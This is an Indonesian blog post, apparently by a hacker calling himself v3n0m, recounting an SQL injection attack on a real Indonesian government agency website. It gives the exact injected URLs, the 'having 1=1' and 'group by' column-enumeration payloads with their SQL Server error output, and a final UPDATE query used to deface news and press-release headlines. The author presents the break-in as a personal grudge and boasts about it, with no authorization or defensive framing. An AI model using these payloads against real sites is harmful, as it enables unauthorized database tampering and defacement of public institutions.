SQL Injection Dan Contoh Study Kasus

SQl Injection adalah proses dimana seorang attacker melakukan input query SQL sehingga attacker dapat mengakses, serta melakukan perubahan pada database hingga menghapus database yg menggunakan SQL, dan disini gw akan melakukan study kasus methode SQL Injection pada situs Badan Pengawas Obat dan Makanan yg memiliki bug sql injection

situs ini beralamat di www.pom.go.id

langkah pertama setelah masuk ke dalam situs www.pom.go.id, gw mencoba melakukan enumeration pada www.pom.go.id untuk mempelajari situs tersebut, setelah loncat kesana kesini me-lihat² situs www.pom.go.id akhir’a gw singgah ke dalam page berita berikut URL yg di dapat:

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203
berikut’a gw mencoba untuk melakukan penetration dengan menambahkan parameter having 1=1– pada URL di belakang id=203 pada situs ini untuk mencari halaman error dan berharap mendapatkan informasi yg menarik

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+having+1=1–
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

Yeah !! keluar nama field pertama yaitu t_News.id, dengan rasa tertarik yg semakin besar akhir’a gw coba untuk meneruskan’a, berikut’a gw mencoba mencari nama² field berikut’a dan table² lain’a dengan menggunakan perintah group by t_News.id having 1=1–

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id+having+1=1–
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.d_News’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

Yippie !! dapat lagi nama field kedua yaitu t_News.d_News, 0.k lanjut terus hingga mendapatkan field terakhir

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id,t_News.d_News+having+1=1–
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.Kateg’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id,t_News.d_News,t_News.Kateg+having+1=1–
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.SubKateg’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id,t_News.d_News,t_News.Kateg,t_News.SubKateg+having+1=1–
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.HeadLineInd’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id,t_News.d_News,t_News.Kateg,t_News.SubKateg,
t_News.HeadLineInd+having+1=1–
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.HeadLineEng’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id,t_News.d_News,t_News.Kateg,t_News.SubKateg,
t_News.HeadLineInd,t_News.HeadLineEng+having+1=1–
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.NewsInd’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id,t_News.d_News,t_News.Kateg,t_News.SubKateg,
t_News.HeadLineInd,t_News.HeadLineEng,t_News.NewsInd+having+1=1–
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.NewsEng’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id,t_News.d_News,t_News.Kateg,t_News.SubKateg,
t_News.HeadLineInd,t_News.HeadLineEng,t_News.NewsInd,t_News.NewsEng+
having+1=1–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘t_News.Reporter’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/public/berita_aktual/detail.asp, line 149

http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+group+by+
t_News.id,t_News.d_News,t_News.Kateg,t_News.SubKateg,
t_News.HeadLineInd,t_News.HeadLineEng,t_News.NewsInd,t_News.NewsEng,
t_News.Reporter+having+1=1–

pada penginputan ini, page error tidak keluar lagi, yg ada gw di bawa pada page berita normal seperti biasa…hmmm berarti bisa gw simpulkan bahwa pada kategori berita terdapat 9 column saja, berikut column² yg sudah gw dapat:

t_News.id
t_News.d_News
t_News.Kateg
t_News.SubKateg
t_News.HeadLineInd
t_News.HeadLineEng
t_News.NewsInd
t_News.NewsEng
t_News.Reporter

Finally…!!!
setelah mendapatkan semua nama field dan table’a sekarang saat’a gw melakukan update pada situs www.pom.go.id atau dengan kata lain gw melakukan Deface dengan menggunakan perintah update t_News set HeadLineInd=’HackeD by v3n0m Dedicated for mY sWeetHeart sarah octora dan juga pakar IT palsu’;–

atau lebih jelas’a sebagai berikut
http://www.pom.go.id/public/berita_aktual/detail.asp?id=203+update+
t_News+set+HeadLineInd=’HackeD+by+v3n0m+Dedicated+for+mY+
sWeetHeart+sarah+octora+dan+juga+pakar+IT+palsu’;–

sebenar’a ada beberapa field lagi selain field² di atas yg gw dapatkan dari masing² kategori pada situs tersebut, dan ini adalah beberapa field yg sudah gw dapat

t_Press_Release.id
t_Press_Release.kateg
t_Press_Release.subkateg
t_Press_Release.headlineInd
t_Press_Release.pressInd
t_Press_Release.headlineEng
t_Press_Release.pressEng
t_Press_Release.d_press
t_Press_Release.reporter

t_kateg.kateg
t_kateg.DeskInd
t_kateg.DeskEng
t_kateg.menuFlag

dan hanya 2 kategori saja yg field’a gw ubah, yaitu kategori News dan kategori Press Release.

Inti dari semua ini sebenar’a gw cuma merasa kesal aja dengan seorang yg mengaku pakar tapi sok tau, dengan berbekal analisa photo saja dia sudah di bilang pakar telematika, hayaahhh, analisa photo sey ga perlu pake skill yg tinggi kale, para programmer² dan hacker² handal saja ga pernah menyebut diri mereka pakar, situ ga malu yach
hihihihi….

Source :Venom's Blog